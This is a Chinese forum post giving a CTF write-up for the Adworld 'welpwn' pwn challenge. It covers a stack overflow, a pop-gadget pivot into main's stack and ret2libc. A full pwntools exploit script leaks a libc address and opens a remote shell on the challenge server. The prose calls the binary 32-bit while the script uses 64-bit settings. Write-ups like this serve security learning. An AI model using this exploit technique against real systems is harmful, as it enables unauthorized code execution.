-
-
[原创]攻防世界welpwn
-
发表于: 2022-1-23 18:28 8672
-
题目链接
https://adworld.xctf.org.cn/task/answer?type=pwn&number=2&grade=1&id=4767&page=1
题目复现
功能简单,打印输出字符
较长时开始故障
- 主函数,读取缓冲区0x400,缓冲区大小0x400,不存在溢出
- echo函数,把主函数缓冲区赋值给s2,直到00截断,s2长度只有0x16,存在溢出可能
- 存在read,printf的plt,got,可以ret2libc
- 不存在mprotect,不可以构造代码执行
解题思路
- 题目为32位,由于s2遇到00截断的特性,因此echo的栈至多能执行一条命令,这条命令考虑栈迁移,但此题给的条件太狭窄,栈迁移也很难做
- 考虑echo函数与主函数之间栈的关系,可以执行一步pop命令将eip直接跨进主函数的栈内,在主函数栈执行rop
- 接着用常规ret2libc getshell
##调试过程
在echo函数结束时设置断点,观察此时的栈
可以看到echo栈后正好是main的栈,下面需要确定pop的数量
由pop到ret2libc需要跳转4位
Pop4只有0x8048628,如果没有这题就寄了
payload
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 | from pwn import * from LibcSearcher import * context.log_level = 'debug' context.arch = 'amd64' #io = process('./welpwn') io = remote( '111.200.241.244' , 54860 ) elf = ELF( './welpwn' ) pop4_addr = 0x40089c pop_rdi = 0x4008a3 printf_plt = elf.plt[ 'printf' ] read_got = elf.got[ 'read' ] main_addr = 0x4007cd payload1 = b 'a' * ( 0x10 + 8 ) + p64(pop4_addr) + p64(pop_rdi) + p64(read_got) + p64(printf_plt) + p64(main_addr) io.send(payload1) io.recvuntil(b 'a' * 0x18 ) io.recv( 3 ) x = io.recv( 6 ) read_addr = u64(x.ljust( 8 , b '\x00' )) print ( hex (read_addr)) libc = LibcSearcher( 'read' , read_addr) libc_base = read_addr - libc.dump( 'read' ) system_addr = libc_base + libc.dump( 'system' ) binsh_addr = libc_base + libc.dump( 'str_bin_sh' ) payload2 = b 'a' * 0x18 + p64(pop4_addr) + p64(pop_rdi) + p64(binsh_addr) + p64(system_addr) io.sendline(payload2) io.interactive() |
需要注意的是,这题ret2libc时返回的read地址竟然多了三位,但是根据7f是第一位来定位的话,还是很好解决的
总结:
- 马克思基本原理教会我们整体与部分的辩证关系,如果这题我们只把每一个函数的栈看作孤立的个体,这题就无从做起;当溢出遇到瓶颈时,要考虑栈的连续性(push ebp;mov ebp,esp;sub esp xx),把栈看作连续的就迎刃而解
- 可以根据这题,整理对狭窄栈的解决措施
[招生]科锐逆向工程师培训(2024年11月15日实地,远程教学同时开班, 第51期)
最后于 2022-1-24 00:51
被N1co5in3编辑
,原因:
赞赏
他的文章
- [原创][GoogleCTF]MADCORE 13892
- [starctf]examination writeup 7642
- [分享]2月刷pwn题的知识点总结 9355
- [原创][基础知识]ctfpwn题修改libc库为要求的题目 19887
- [原创][攻防世界]stack2 9155
看原图
赞赏
雪币:
留言: